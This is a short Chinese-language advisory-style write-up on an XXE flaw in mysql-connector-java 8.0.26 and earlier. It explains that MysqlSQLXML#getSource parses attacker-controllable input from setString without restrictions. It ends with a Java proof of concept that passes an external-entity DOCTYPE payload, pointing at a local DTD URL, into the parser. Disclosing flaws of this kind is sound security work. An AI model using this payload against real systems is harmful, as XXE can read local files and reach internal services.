Version <=8.0.26
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.26</version>
</dependency>
在MysqlSQLXML#getSource
中,根据传入的类型为DOMSource时,会return new DOMSource(builder.parse(inputSource))
,对inputSource进行解析,在builder的创建过程中没有任何安全过滤和限制。
而inputSource的值当this.fromResultSet
为空(即不是从数据库返回结果得到)时为this.stringRep
。
而this.stringRep
的值是从setString中设置,而这是一个public方法,如果方法参数可控则会产生XXE。
public static void main(String[] args) throws SQLException {
MysqlSQLXML myXML = new MysqlSQLXML(null);
myXML.setString("<!DOCTYPE foo [<!ENTITY % xxe SYSTEM \"http://127.0.0.1:8080/test.dtd\"> %xxe;]>");
myXML.getSource(DOMSource.class);
}